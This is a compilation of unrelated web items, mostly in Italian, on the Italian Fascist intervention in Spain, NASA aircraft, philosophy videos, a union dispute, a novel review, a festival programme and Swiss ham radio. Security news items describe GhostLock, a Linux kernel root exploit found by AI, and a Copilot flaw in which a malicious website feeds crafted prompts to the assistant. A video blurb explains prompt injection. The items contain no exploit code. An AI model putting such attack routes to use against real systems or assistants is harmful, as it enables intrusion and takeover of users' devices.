Il 17 febbraio 1937 la M.M.I.S. divenne il C.T.V. (Corpo Truppe Volontarie), composto in massima parte da volontari del Regio Esercito e della Milizia Volontaria Sicurezza Nazionale, l’organizzazione degli squadristi. Complessivamente, il Corpo Truppe Volontarie arriverà a contare fino a 70.000 effettivi. L’importanza di tale contributo si capisce subito se si pensa che i generali golpisti, all’indomani del colpo di stato, disponevano di 80.000 uomini delle truppe regolari.

Nel febbraio del 1937, la divisione di camicie nere “Dio lo vuole” partecipa all’offensiva franchista su Malaga. L’apporto italiano è decisivo per la sconfitta repubblicana: oltre alle camicie nere, l’aviazione legionaria e la Marina Militare bombardano. Dopo la conquista di Malaga, una massa di 250.000 persone abbandona la città e si dirige verso Alméria, in territorio repubblicano, inseguita dalle camicie nere e dall’aviazione: i fascisti italiani compiono un massacro, assassinando dalle 5.000 alle 15.000 persone. È il peggior crimine contro i civili di tutta la guerra di Spagna.

Nel marzo 1937 truppe italiane composte da circa 35.000 unità sono impiegate nella battaglia di Guadalajara, con cui il generale Franco spera di conquistare Madrid. La volontà dei caporioni fascisti è chiara: alla vigilia dell’attacco, il generale Mario Roatta, che comanda il C.T.V., dirama una circolare in cui ordina di fucilare dopo la cattura gli italiani combattenti nelle fila della Repubblica. Dell’esecuzione di tale ordine il generale doverosamente informava i superiori romani con telegramma del 12 marzo 1937. Coerentemente Roatta alla vigilia di Guadalajara aveva esortato le sue truppe a non temere i decantati “internazionali”, trattandosi solo di “quelli stessi che i nostri squadristi hanno sonoramente legnato per le vie d’Italia”. Nonostante queste roboanti dichiarazioni, gli italiani subiscono una pesante sconfitta, perdendo 3.800 combattenti, tra morti, feriti e prigionieri. Il C.T.V. lascia sul terreno anche una grande quantità di armi e materiale: 65 cannoni, 13 mortai, 10 carri armati, 500 mitragliatrici e 3.000 fucili. A Guadalajara Mussolini è stato sconfitto da “quegli stessi” di cui parlava Roatta, dagli anarcosindacalisti di Cipriano Mera e dai comunisti di Lister.

Dopo la sconfitta di Guadalajara, le truppe inviate dal governo fascista italiano cominciano ad operare in unità miste spagnole e italiane.

Il Corpo Truppe Volontarie parteciperà alla battaglia di Santander (agosto-settembre 1937) e successivamente viene trasferito sul fronte aragonese, dove prese parte alla corsa verso il mare che nel 1938 spezzerà in due il territorio repubblicano.

Nel 1939 il C.T.V. partecipa alla conquista di Barcellona e di tutta la Catalogna. Alla notizia che sono stati presi anche molti italiani, anarchici e comunisti, Mussolini ordina di farli fucilare tutti, ed aggiunge: “I morti non raccontano la storia”.

L’intervento del governo italiano in Spagna è stato decisivo per la vittoria del generale Franco, ed è stato favorito e appoggiato dalle altre potenze imperialiste, che vedevano il pericolo della Spagna rivoluzionaria. Si è caratterizzato per una lunga striscia di sangue, di massacri di civili, per cui nessuno ha pagato. Finché è stato al potere Francisco Franco, il generalissimo aveva tutto l’interesse a nascondere la montagna di morti provocati dalla sua Cruzada; una volta che Franco è morto e il franchismo è caduto, il nuovo regime ha preferito aderire alla Comunità Economica Europea e mantenere buoni rapporti con l’Italia.

Che cosa significa ancora oggi l’intervento italiano in Spagna ce lo dice un sito antifascista catalano: genocidio. L’armadio delle stragi non comprende solo Marzabotto o Sant’Anna di Stazzema: in quell’armadio c’è anche l’Amba Aradam, Barcellona, Maiorca, Malaga e così via. Che senso ha per lo Stato italiano chiedere il risarcimento alla Germania per i crimini di guerra del 1944-1945, se non si preoccupa di risarcire le vittime dell’aggressione alla Spagna nel 1936-39? Se non rende conto del blocco della costa mediterranea per impedire il traffico marittimo da e per la Repubblica; dei bombardamenti a tappeto nelle città per diffondere il terrore tra la popolazione civile; della distruzione sistematica delle infrastrutture civili lungo l’intera costa catalana e valenciana; dell’occupazione di Maiorca, con i massacri degli oppositori?

Alla fine della seconda guerra mondiale, alla conferenza di Parigi del febbraio 1947, l’Italia dovette pagare un risarcimento economico a Jugoslavia, Grecia, Unione Sovietica, Etiopia, Albania. Egitto e Libia avrebbero ricevuto un risarcimento in seguito. Le riparazioni sono ancora esecutive, con mezzi diplomatici e giudiziari, ma le vittime iberiche sono le uniche che non hanno ricevuto alcuna riparazione dai governi italiani che sono succeduti al regime fascista di Mussolini. Evidentemente trucidare un popolo realmente in grado di battersi contro il fascismo è considerato ancora oggi meritorio.

Tiziano Antonelli

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Il pensiero può essere meccanizzato?

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Esplorazione della domanda filosofica se il pensiero possa essere meccanizzato, partendo da La Mettrie e il suo libro L'uomo macchina, dove sostiene che il cervello ha muscoli per pensare come le gambe hanno muscoli per camminare. Si contrappone questo al dualismo cartesiano di Cartesio, che separava anima e corpo.

0:00 La domanda fondamentale

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NASA Uses Subscale Aircraft to Accelerate Flight Innovation

4 Min Read

NASA Uses Subscale Aircraft to Accelerate Flight Innovation

A white, blue, and red probe attached to a rotor with four blades flies in the blue sky, just above the Moon.
An atmospheric probe model attached upside down to a quad rotor remotely piloted aircraft ascends with the Moon visible on Oct. 22, 2024. The quad rotor aircraft released the probe above Rogers Dry Lake, a flight area adjacent NASA’s Armstrong Flight Research Center in Edwards, California. The probe was designed and built at the center.
Credits: NASA/Steve Freeman

Testing new aerospace concepts in flight remains one of NASA’s most effective ways to advance knowledge and reduce risk.

The Dale Reed Subscale Flight Research Laboratory at NASA’s Armstrong Flight Research Center in Edwards, California, supports this mission by using small, remotely piloted and autonomous aircraft as cost‑effective platforms to mature innovative ideas, accelerate learning, and enable smoother transitions to full‑scale flight.

When experiments require a flight platform, several NASA remotely piloted aircraft are available: the Alta‑X quadrotor; the Dryden Remotely Operated Integrated Drone (DROID) with its 10‑foot wingspan; and the Multi‑Use Cub, a 14‑foot‑span fixed‑wing aircraft with an expandable payload capacity for flight experiments. For electric vertical takeoff and landing testing, the HQ‑90 quadrotor provides an additional option.

Once aircraft and experiments are cleared for operations, laboratory pilots support the mission, including ground operations and flight activities.

One man manages engine speed with a hand-held controller, while another firmly holds the subscale aircraft in place.
Justin Link, left, holds the subscale aircraft in place, while Justin Hall manages engine speed during preliminary engine tests on Friday, Sept. 12, 2025, at NASA’s Armstong Flight Research Center in Edwards, California. Link is a pilot for small uncrewed aircraft systems at the center’s Dale Reed Subscale Flight Research Laboratory and Hall is the chief pilot.
NASA/Christopher LC Clark

Flight expertise

Each staff member serves as an experienced and certified subscale aircraft pilot and is prepared to fly unique one-of-a-kind or modified commercial aircraft wherever the mission requires.

NASA’s FireSense project conducted flights in the Geneva State Forest, located about 100 miles south of Montgomery, Alabama. NASA Armstrong flight research staff integrated the instrument onto an Alta-X drone and tested the system before deployment. Two team members then transported the drone and sensor to the forest, prepared the vehicle for flight, and operated it during the mission. The NASA sensor was flown on the drone to demonstrate how remotely piloted aircraft can gather localized weather data that influences smoke movement and fire behavior. This information may help operational agencies improve wildfire decision-making and better allocate firefighters and resources.

Other missions occur closer to NASA Armstrong, such as the Enhancing Parachutes by Instrumenting the Canopy (EPIC) project. EPIC involved air‑launching a capsule containing a parachute and flexible sensor from the Alta‑X. Laboratory staff piloted the flights, supported flight operations, and worked with the EPIC team to design and integrate the parachute‑drop mechanism and safety system into the aircraft.

These tests demonstrated that a flexible sensor could help researchers study supersonic parachutes. Continuation of this work can help fill gaps in computer models, making supersonic parachutes safer and more reliable for delivering science instruments and payloads to Mars.

Two men integrate instruments onto a drone.
Justin Link, left, pilot for small uncrewed aircraft systems, and Justin Hall, chief pilot for small uncrewed aircraft systems, install weather instruments on NASA’s Alta X drone at the agency’s Armstrong Flight Research Center in Edwards, California. Members of the center’s Dale Reed Subscale Flight Research Laboratory used the Alta X to support the agency’s FireSense project in March 2025 for a prescribed burn in Geneva State Forest, which is about 100 miles south of Montgomery, Alabama.
NASA/Steve Freeman

Advancing challenging research

The Dale Reed Subscale Flight Research Laboratory uses rapid design and testing capabilities to help small aircraft fly big ideas. These concepts could lead to future breakthroughs that support NASA’s missions across aeronautics, science, and exploration.

For decades, NASA and its partners have advanced Automatic Collision Avoidance Technology. The research demonstrated an autopilot could detect and recover from an imminent ground collision – a capability now helping save lives in high‑performance U.S. military jets. NASA Armstrong had key roles in that work and developed a simplified version, the Automatic Ground Collision Avoidance System, which was installed on the DROID for testing.

The system demonstrated on the DROID — developed to assist general aviation pilots as well as remotely piloted and autonomous aircraft — performed well and led to further research toward a version that provides alerts and steering cues. The NASA Armstrong Technology Transfer Office is working to license the technology for U.S. businesses to develop the system as a commercial product.

The Prandtl‑D (Preliminary Research Aerodynamic Design to Lower Drag) flying‑wing glider was also designed, fabricated, and flown at NASA Armstrong. Researchers found that its twisted wing design could reduce drag and generate thrust at the wingtips, advancing concepts that may support greater fuel economy for future aircraft. The original Prandtl‑D is now part of the Smithsonian National Air and Space Museum collection in Washington, and the Prandtl-D3 is at the California Science Center in Los Angeles. Researchers continue developing the next generation of the design in the laboratory.

A wide range of capabilities in the laboratory help transform promising concepts into flight-ready test structures. These include rapid prototyping using traditional and advanced 3D manufacturing techniques, as well as composite and conventional fabrication processes. The team of engineers and technicians also provides custom component design and specialized fabrication to meet unique research needs.

The laboratory supports electrical and mechanical design, hardware and software integration, and the safety and flight-readiness processes required for successful missions. Additional technical facilities, such as the Experimental Fabrication Branch and the Environmental Laboratory at NASA Armstrong, further enhance these capabilities. Together, they support development, testing, and validation activities that advance NASA’s aeronautics and exploration goals.

Deborah Jackson, Al Bowers and Abbigail Waddell successfully launch the subscale Prandtl-D 3C glider.
Deborah Jackson, Al Bowers and Abbigail Waddell successfully launch the subscale Prandtl-D 3C glider.
NASA

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Last Updated
Jul 15, 2026
Editor
Dede Dinius
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NASA researchers are developing technology to close knowledge gaps and make supersonic parachutes safer and more reliable for delivering science instruments ...
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Anil Menon Launches to Space Station

NASA astronaut candidate Anna Menon and her children watch as a Soyuz rocket launches to the International Space Station with Expedition 75 crewmembers NASA astronaut Anil Menon and Roscosmos cosmonauts Pyotr Dubrov and Anna Kikina, Tuesday, July 14, 2026, at Site 31/6 at the Baikonur Cosmodrome in Kazakhstan.

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AI Uncovers a 15-Year-Old Linux Kernel Root Vulnerability Hidden Since 2011

AI Uncovers a 15-Year-Old Linux Kernel Root Vulnerability Hidden Since 2011

Artificial intelligence has helped uncover one of the most significant Linux kernel security flaws in recent years. Security researchers at Nebula Security announced the discovery of GhostLock (CVE-2026-43499), a critical local privilege escalation vulnerability that remained hidden in the Linux kernel for approximately 15 years before being identified by the company's AI-powered vulnerability research platform, VEGA.

The vulnerability affects Linux kernels dating back to version 2.6.39 (2011) and allows an unprivileged local user to obtain full root privileges on vulnerable systems. Its discovery not only highlights the importance of timely kernel updates but also demonstrates how AI is beginning to transform vulnerability research.

What Is GhostLock?

GhostLock is a use-after-free (UAF) vulnerability located in the Linux kernel's futex (fast userspace mutex) implementation.

Futexes are synchronization primitives that allow user-space applications to efficiently coordinate access to shared resources while minimizing expensive kernel interactions. Because they are widely used throughout Linux, any flaw within this subsystem can have broad security implications.

According to Nebula Security, incorrect handling of the remove_waiter() function can leave behind a dangling kernel pointer that an attacker can manipulate to execute arbitrary code with kernel privileges.

A Reliable Path to Root Access

One of the reasons GhostLock has attracted so much attention is the reported reliability of the exploit.

Researchers demonstrated that an attacker with nothing more than a standard local user account can escalate privileges to root in roughly five seconds, with a reported success rate of 97% on vulnerable systems.

Unlike many kernel exploits that are unstable or require highly specific system configurations, GhostLock appears to be both practical and repeatable, making it particularly concerning for administrators.

Container Escapes Are Also Possible

The implications extend beyond traditional Linux desktops and servers.

Researchers report that GhostLock can also be used to escape containers and compromise the underlying host operating system. Because containers share the host kernel, a successful privilege escalation inside a container can potentially grant root access to the host itself.

This makes the vulnerability especially important for environments running:

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ESISTONO SOLO NEL LINGUAGGIO? | Da Ulisse all’Intelligenza Artificiale

Le persone vengono prima del linguaggio o, almeno in parte, nascono dentro di esso? Da Ulisse a Jung, da Vico a Wittgenstein, attraversiamo una domanda antica e inquietante: che cosa esiste quando esiste soltanto nelle parole, nei racconti e nella memoria condivisa? Personaggi letterari, nazioni, leggi, identità personali, figure interiori e intelligenze artificiali sembrano appartenere […]

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La scuola sa ancora perché esiste?

Quale uomo vogliamo formare?È una domanda antica quanto la filosofia e sorprendentemente attuale per comprendere la crisi della scuola contemporanea.Un viaggio tra paideia, cittadinanza, conoscenza e responsabilità educativa, oltre le mode pedagogiche e le polemiche del presente. 🎬 Premiere14/07/2026👉https://youtu.be/obmoSEjswj4 Le riforme della scuola si susseguono da decenni. Cambiano programmi, metodologie, sistemi di valutazione, tecnologie e […]

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La libertà è una condanna? La risposta di Sartre

Essere liberi è davvero una fortuna? Per Jean-Paul Sartre la libertà non è un privilegio, ma una condanna. In questa lezione scopriamo perché, nell’esistenzialismo ateo, ogni uomo è chiamato a costruire da sé il significato della propria vita. Che cosa significa affermare che l’esistenza precede l’essenza? Perché Sartre sostiene che l’uomo è «condannato a essere […]

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Attivazione procedura di raffreddamento contro le società Toscana Aeroport i SpA, GH Toscana Srl e Consulta SpA negli aeroport i di Pisa e Firenze

Attivazione procedura di raffreddamento ai sensi dell'art.2 comma 2 L. 146/1990 e L. 83/2000 e s.m.i. contro le società Toscana Aeroport i SpA, GH Toscana Srl e Consulta SpA negli aeroport i di Pisa e Firenze.

La scrivente o.s. registra il fallimento delle relazioni industriali con il gestore aeroportuale Toscana Aeroporti e con le aziende di handling Gh Toscana e Consulta.

Per quanto riguarda il gestore Toscana Aeroporti, si rileva il fallimento delle relazioni industriali a proposito di:

  • Mancata supervisione, controllo e coordinamento delle attività di handling;
  • Inadeguata capacità di pronto intervento rispetto a situazioni emergenziali;
  • Mancati interventi per il miglioramento delle infrastrutture — in particolare si segnalano gravi carenze nelle aree Airside di Firenze e Pisa (p.es.: assenza di misure per il contrasto al microclima caldo nelle aree di stazionamento di entrambi gli aeroporti), inidoneità dei varchi sicurezza e delle aree imbarchi di Pisa, nonché insufficienza degli spazi concessi agli handlers Consulta e GH Toscana.

Per quanto riguarda le società di handling Consulta e GH Toscana, si rileva il fallimento delle relazioni industriali a proposito di:

  • Condizioni di lavoro carenti con possibili ricadute su Salute e Sicurezza di lavoratori e lavoratrici;
  • Scarsi investimenti sulla formazione del personale;
  • Livelli occupazionali insufficienti e eccessivo utilizzo del part-time rispetto alla costante crescita del traffico che transita dal sistema aeroportuale toscano;
  • Carenze di mezzi e lacune nell’organizzazione del lavoro.

Per quanto concerne la società Consulta, inoltre, la scrivente segnala il mancato rispetto del CCNL in materia di orario di lavoro e mancato rispetto della normativa sul part-time.

Si rileva infine l’assenza di correttezza delle relazioni sindacali da parte di GH Toscana che non ha dato comunicazione alle oo.ss. sulla decisione del vettore Ryanair di inserire il self bag drop-off all’aeroporto di Pisa, trascurando l’impatto che un tale servizio potrebbe avere sui livelli occupazionali.

Per tutto quanto sopra si dichiara aperta la procedura di raffreddamento ai sensi dell'art 2 comma 2 L. 146/1990, L.83/2000 e s.m.i.

USB Lavoro Privato Firenze-Pisa

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Vivere e morire a Triscina – Su “Il CUstode” di Niccolò Ammaniti

Il discorso dell’orrore è sempre un discorso sul tempo e, solo secondariamente, sulla morte. Lovecraft, ad esempio, ne esplora le dimensioni, divertendosi a mettere la mente umana in contatto con l’eterno per guardarla sprofondare nella pazzia (in Lovecraft non muore mai nessuno, si impazzisce e basta); Dick ne rompe la linearità, che come una coperta copre la superficie del reale, portando a un’apocalisse (nel senso di disvelamento) gnostica dopo l’altra; rotta la linearità, così si rompe anche il meccanismo (chimico, telepatico, politico, ucronico) dell’illusione. King lavora sulla persistenza, su come il materiale, l’immateriale e il simbolico mutano e persistono all’interno del tempo; così gli attaccamenti umani, le maledizioni e le vocazioni ineluttabili sono al centro del suo orrore. Anche il nuovo romanzo di Ammaniti, Il Custode, è un romanzo sul tempo, più precisamente sulla sovrapposizione di un tempo astorico (del mito, del simbolo e della tragedia) a quello storico (faticosamente contemporaneo, fratturato e capriccioso, un pomeriggio di noia estivo su TikTok).

I suoi personaggi sono sospesi in linee temporali sovrapposte, indecisi se incarnare divinità elleniche o liberi professionisti nel mondo digitale, capaci solo attraverso strane epifanie di superare questa scissione, eppure inconsapevoli della sua esistenza. Solo la morte li ricongiunge, che non è nemmeno una vera morte – nel romanzo vengono pietrificati dal mostro – raggiungendo uno stato di atemporalità paradossale, che fa saltare questa irrisolvibile dualità.

Il protagonista del Custode è Nilo, che ha tredici anni e vive a Triscina, nella desolazione della provincia siciliana. Insieme alla madre Agata e alla zia Rosi, la famiglia Vasciaveo, abita in un buio seminterrato e con i due tuttofare indiani, Pasindu e Nalin, gestisce una ditta di lavorazione di marmi. Sembra tutto normale, se non fosse che i Vasciaveo custodiscono nel bagno di casa un segreto che l’accompagna da millenni, generazione dopo generazione. “Mamma mi aveva avvertito, scordati gli amici, scordati i viaggi, il mondo inizia e finisce a Triscina, noi abbiamo un compito, occuparci della cosa nel bagno”, riflette rassegnato Nilo.

Ma la catatonica primavera siciliana è perturbata dall’arrivo di Arianna, che per lavoro vende foto sadomaso su Only Fans, e Saskia, la figlia di dieci anni. Nilo, affascinato dalla loro vita sbandata e avventurosa, romperà l’equilibrio familiare e si affaccerà sul dramma e le responsabilità della vita adulta.

Ammaniti sviluppa una storia stringata e severa, in cui gli avvenimenti si succedono come una cronaca ineluttabile verso il disastro. Il romanzo non guarda mai oltre il confine asfissiante di Triscina, oltre la manciata di personaggi che la attraversano, il resto del mondo sembra assente o almeno troppo distante per rappresentare un fattore di qualche importanza. Qui “ognuno è architetto e operaio e se la fa come gli pare [la casa], con il suo stile, giusta per le sue esigenze: villini squadrati, castelletti con tanto di merli, bunker, piramidi egizie, cubi, cupole, trulli, torrette fatiscenti. Nessuna è finita, i mattoni a vista, i tondini arrugginiti che puntano verso il cielo, le finestre senza serramenti, i fili della corrente che s’intrecciano. Case che poggiano sulla sabbia senza affondare, costruite cosí vicine alla riva che il mare d’inverno le ricopre di sabbia come rovine di una civiltà dimenticata. Alle spalle ci sono i campi troppo aridi per essere coltivati, neri d’incendi, dove mucchi di pietre si mischiano alle erbacce, a carcasse d’auto, a rovi, a rotonde che non portano da nessuna parte.”

Come in Anna (Einaudi 2015) la Sicilia si faceva universo e la possibilità che il resto del mondo fosse sopravvissuto all’apocalisse era più una bugia da raccontarsi per non impazzire che una possibilità percorribile; qui il piccolo paese siciliano incatena i suoi abitanti a se stesso come una maledizione, c’è chi gli ha sacrificato la propria esistenza e chi rimane straniero, passa e poi sparisce.

I tre poli dell’orrore (Lovecraft, Dick e King) convergono con i loro rispettivi talismani (l’orrore cosmico, l’epifania e l’adolescenza) in una storia che inizia come un b-movie e si evolve acquisendo i contorni di una tragedia greca. Comincia con la famiglia che si riunisce per guardare Pet Sematary, il film tratto dal romanzo di King (l’originale del ‘89 o il remake del 2019?) mangiando la pizza davanti alla tv, poi la storia irrompe alla porta, mettendo in moto la serie di eventi che sprofonderà Nilo in un abisso di colpa e predestinazione.

Lo spostamento che produce questo nuovo romanzo nel canone ammanitiano è verso un raffreddamento della materia grezza letteraria. Rimane l’inventiva picaresca, rimane l’ipervisibilità dei corpi e delle superfici, rimane intatta la raffinata medietà di tono dei personaggi; ma mentre negli altri romanzi che toccavano temi fantastici e orrorifici, da Branchie (Ediesse 1994) al Libro dei morti italiano (pubblicato a puntate su Rolling Stone tra il 2005 e il 2007), da Che la festa cominci (Einaudi 2009) a Anna, qui non ci sono uomini talpa obesi o sadici bambini post-apocalittici e il tono grottesco che aveva definito il ribollente universo immaginifico dell’autore vira verso il nichilismo. Nel Custode ogni morte, ogni atto violento (implicito o esplicito che sia) è lucido e impassibile come le superfici dei morti pietrificati che compaiono nel romanzo. Come conclude Christian Raimo nella sua recensione pubblicata su Lucy, nel romanzo si dispiega la presa di posizione più radicale dell’autore: “Crescere è la morte. La sua è una posizione quasi teologica. La vita è solo quella dell’infanzia e dell’adolescenza. Tra gli adulti e gli zombie non c’è differenza”.

Così il Custode si presenta come l’opera che porta all’estremo compimento gli sferzanti ritratti sociali dei romanzi precedenti ma, stemperando l’ironia generale, non trova più una via d’uscita in un surrealismo a tratti giocoso. Nilo si trova a fissare una realtà entropicamente già esaurita, un mondo di adulti violenti di cui prendere nota e in cui il suo sguardo adolescente non è più un principio creativo, l’innesco di un cambiamento, ma un glitch, l’errore temporaneo che il sistema è già avvezzo a riparare da sé, in attesa dell’ineluttabile apocalisse: “Città pietrificate. Un mondo senza piú vita animale. L’umanità ridotta a un museo di statue”.

Il 5 agosto Stanca presenterà all’Aniene Festival “Il Custode” insieme all’autore Niccolò Ammaniti.

The post Vivere e morire a Triscina – Su “Il CUstode” di Niccolò Ammaniti first appeared on Stanca.

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Many Sovereignties, One Internet

Digital sovereignty is not simply good or bad. The commons test offers a practical framework for assessing whether different strategies expand choice, preserve interoperability, strengthen resilience and support meaningful participation, or create new dependencies and chokepoints.
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[2026-08-16] Festival del 16 agosto in ricordo di Sante Geronimo Caserio @ Roccatederighi (GR)

Festival del 16 agosto in ricordo di Sante Geronimo Caserio

Roccatederighi (GR) - Campo sportivo San Matino
(domenica, 16 agosto 12:00)
Festival del 16 agosto in ricordo di Sante Geronimo Caserio

🎶 X° Festival del SedicidAgosto 🎶

Settimana di Rassegna di Musica Popolare in ricordo di SANTE GERONIMO CASERIO

📍 Roccatederighi (GR) – Campo Sportivo S. Martino

📅 Dal 16 al 22 Agosto 2026

«A fianco di tutti i popoli in lotta per la terra, l'acqua e la libertà! Nostra patria è il mondo intero.»

📅 PROGRAMMA GIORNALIERO (Inizio eventi ore 17:30):

🔹 Domenica 16 Agosto

* Apertura Festival

* Stazione Rossa

* Dino Simone

* Musicanti di Maremma

* BandaJorona

🔹 Lunedì 17 Agosto

* Banciardi: una distonia mai raccontata

* Ore 18:30: Feudalesimo industriale e vicende operaie in Val di Cecina: 1818-1921 di Alessandro Rossi

* Andy con la chitarra

* Alberto Fauro

* Orkestra Maldestra

🔹 Martedì 18 Agosto

* Editoria indipendente e stampa alternativa (spazio aperto di COMUNIC/AZIONE)

* Francesco Lauretig

* Cantografi

* Gli Inguastiti

🔹 Mercoledì 19 Agosto

* Largo alle donne (spazio aperto di COMUNIC/AZIONE)

* Lisetta Luchini

* Senza Soglia

* Terraticanti

🔹 Giovedì 20 Agosto

* La terza vita di Stampa Alternativa (FAI e UMANITÀ NOVA)

* Canti dei senza volto: melodie della rivolta (con interventi musicali di Duccio Ghelardoni)

* lodiotrio

* Presentazione libro Idiotria

* Cialtroni sul palco

* Banda Putiferio

* Alessio Lega

🔹 Venerdì 21 Agosto

* La terza vita di Stampa Alternativa - Dibattito sulla reintroduzione della leva obbligatoria (FAI e UMANITÀ NOVA)

* L'estate infinita

* Banditi ribelli sognatori e fuggitivi

* Culo al caldo

* Orchestra Filarmonica Fatica e Sudore

* L'Ukulequio

* Chirimiri

* Jonny Rankore

* Dj Mathar (dub reggae tekno)

🔹 Sabato 22 Agosto

* La terza vita di Stampa Alternativa - 90° dalla Rivoluzione spagnola (FAI e UMANITÀ NOVA)

* Spazio aperto di COMUNIC/AZIONE

* Folkalbegna

* Egin

* Ribellanti

* Nuovo canzoniere elettronico

* Speciale intervento di Stefano Arrighetti (presidente Istituto Ernesto di Martino)

🎨 LABORATORI:

* Danze e percussioni africane (Djembé Sabar):

* Ore 14:30–15:30: Corso di percussioni con Mass Ndiaye

* Ore 15:30–17:30: Corso di danza africana con Flaminia e i musicisti Mass e Tidiane

(Laboratori a pagamento con iscrizione necessaria al numero 346 5735907)

* Bambini e ragazzi

* Canto corale

ℹ️ INFO UTILI:

* Ingresso gratuito (con offerta libera e consapevole)

* Pranzo su prenotazione e cena "Sotto i castagni"

* Libri, CD, mercatino dell'autoproduzione e punto ristoro

* Ampio parcheggio sotto i castagni e pernottamento sotto le stelle

* 📞 Per informazioni: Giampiero +39 334 9522075 | Jonny (via WhatsApp) +39 346 6824736

#SedicidAgosto2026 #Roccatederighi #MusicaPopolare #Festi

val #Maremma #CantiPopolari #EventiMaremma #IstitutoErnestoDiMartino

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Come funzionano davvero i token negli LLM

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Spiego perché i prompt injection funzionano con gli LLM e come il modello non ha vera empatia ma segue scelte statistiche basate su token. Un token è un segmento di testo convertito in vettore numerico, approssimativamente 0,75 parole in inglese e 0,6 in italiano.

0:00 Prompt injection e LLM
0:18 Token e statistica

=[ INFO ]=
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Microsoft Patches a Record 570 Security Flaws

Microsoft Corp. today released software updates to plug at least 570 security holes in its Windows operating systems and other software, almost triple the number of vulnerabilities the software giant fixed in its record-smashing Patch Tuesday release last month. Microsoft attributed the burgeoning patch counts to vulnerability discoveries aided by artificial intelligence.

A picture of a windows laptop in its updating stage, saying do not turn off the computer.

Nearly 60 of the bugs quashed in July’s Patch Tuesday earned a “critical” severity rating, meaning miscreants or malware could use them to seize remote control over a Windows device with little or no help from the user. Microsoft also addressed three zero-day flaws, including two that are already being exploited in the wild.

Two of the zero-day weaknesses allow an attacker to elevate their user rights on a Windows system, as do approximately 250 other elevation of privilege flaws fixed this month; they include CVE-2026-56155 — an Active Directory Federation Services bug — and CVE-2026-56164, a Microsoft Sharepoint vulnerability.

CVE-2026-50661 is a security feature bypass in Windows BitLocker that could allow attackers to gain access to encrypted data if they have physical access to the device. Microsoft said this bug has been detailed publicly, but that it is not aware of any active exploitation.

In a blog post on July 9, Microsoft Executive Vice President Pavan Davuluri wrote that Windows users will notice “a higher volume of security updates included in each security release” as a result of AI aiding in the discovery of vulnerabilities.

“The pace of vulnerability discovery is changing with advances in AI making it possible to find more issues, faster, across more code, with new mechanisms that can accelerate both discovery and analysis,” Davuluri wrote.

Jack Bicer, director of vulnerability research at Action1, called attention to CVE-2026-48561, a remote code execution flaw in Microsoft Copilot (with a 9.6 CVSS threat score) that allows an unauthorized attacker to execute code over the network. Microsoft says an attacker could exploit this bug by hosting a malicious website that causes Microsoft Edge for Android to automatically send crafted prompts to Copilot when a user visits the site.

As AI advances the state of vulnerability discovery and remediation, it is also making it easier for attackers to quickly devise working exploits for known software flaws. Microsoft has long labeled security bugs using its “exploitability index,” which is Redmond’s best guess as to how likely it is that attackers will be able to figure out a reliable way to exploit a given vulnerability.

But Satnam Narang, senior staff research engineer at Tenable, argues that Microsoft’s exploitability index needs to do a better job of shifting with the machine speed of discovery. For example, Microsoft originally gave this month’s SharePoint zero-day an exploitability rating of “less likely,” although the flaw was added to CISA’s Known Exploited Vulnerabilities list on July 1.

“Anthropic’s Red Team’s own findings for known vulnerabilities (n-days) revealed how fragile this system has become, with its Mythos Preview model being able to produce proof-of-concept exploits for 13 of 14 vulnerabilities that were rated ‘Exploitation Less Likely’ or ‘Exploitation Unlikely,'” Narang said. “What this means is that our way of looking at Patch Tuesday has changed, because the exploitability index is centered around humans, not AI tools, and as these tools continue to improve, defense needs to improve alongside it.”

Chris Goettl at Ivanti observed that the record patch numbers from Microsoft come as a number of other major software makers are increasing their patch cadence, including Adobe which announced today it is moving to twice-monthly security bulletins published on the 2nd and 4th Tuesday of each month (Adobe also cited AI for accelerating their patch cycles). Cisco, Mozilla and Oracle also are shipping updates more frequently, while Google’s patch batches in June 2026 totaled more than 900 security fixes, Goettl noted.

Backing up your Windows system and/or data is always a good idea before applying operating system updates. Given the volume of patches addressed this month it may be wise for end users to wait a few days before applying these fixes. It’s not uncommon for security patches to introduce system stability issues, and those chances probably increase quite a bit with the gigantic patch count released today.

Further reading:

Action1’s Patch Tuesday blog

Automox’s rundown

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Bunker-Aktivierungen im Hochsommer

Die erste Schweizer Outdoor-Radio Aktivitätswoche lockt vom 24. Juli bis zum 2. August 2026 Funkamateure an die Funkgeräte und in die Alpen – aber nicht nur.

Das Schweizer HBBOTA-Programm ist jung und verlangt nach Aufmerksamkeit. Deswegen schicken die Verantwortlichen die Szene im Sommer in die Festungsbauten des Landes. Das Ziel ist simpel: Jäger und Aktivatoren sollen die Schweizer Bunker in die Logbücher bringen.

WWBOTA

Die Aktion startet international. Vom 24. bis 26. Juli 2026 organisiert WWBOTA das weltweite Bunkerfest. Funkerinnen und Funker aus den europäischen Nachbarländern lauern auf Verbindungen mit den eidgenössischen Anlagen.

Wer hier punkten will, muss die Spielregeln kennen. Für den WWBOTA-Award zählt jeweils nur ein Bunker gleichzeitig. Funkkontakte von Bunker zu Bunker versprechen an diesen drei Tagen eine hohe Erfolgsquote, weil die europäischen Untergruppen koordiniert ausschwärmen.

HBBOTA

Nach dem internationalen Auftakt folgt die nationale Verlängerung. Die Organisatoren dehnen die Aktivitätswoche bewusst über den Nationalfeiertag bis zum 2. August aus. Am eigentlichen HBBOTA-Wochenende vom 1. und 2. August rückt die Kombination verschiedener Diplome in den Fokus der Funkbetriebstechnik.

Sylvia HB9INY verweist auf logistische Highlights: Es existieren Standorte in der Schweiz, an denen Operator mit einer einzigen Antennenkonstruktion gleichzeitig Punkte für SOTA, POTA und BOTA einfahren. Ein Berggipfel, der in einem Naturpark liegt und eine alte Militärfestung beherbergt, macht diese Triple-Aktivierung möglich.

Details auf der Website

Wer die Standorte dieser kombinierten Zonen sucht oder die genauen Award-Bedingungen studieren will, findet die Details auf der BOTA-Webseite. Die Betreiber aktualisieren die Datenlisten und Aktivierungshinweise laufend.

Published: HB9HGH 2026-07-14 20:32:54

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NASA Jets Turn Red, White, and Blue

A jet aircraft painted in red, white and blue flies over green trees below.
A NASA F-15 aircraft flies above Washington on Saturday, July 4, 2026, as part of a flyover to celebrate America’s 250th birthday. This aircraft is from NASA’s Armstrong Flight Research Center in Edwards, California, and it joined other NASA aircraft for the flyover.
NASA/Jim Ross

In honor of America’s 250th birthday, two of NASA’s most iconic aircraft got a fresh coat of red, white, and blue paint ahead of a flyover in Washington on July 4, 2026, with other NASA aircraft.  

An F-15 and an F/A-18 from NASA’s Armstrong Flight Research Center in Edwards, California, recently were repainted in patriotic colors as a tribute to the past and a salute to the future.

The red, white, and blue commemorative paint and Freedom 250 logo will remain on these aircraft for at least the next year, so be sure to catch these at local air shows and events.

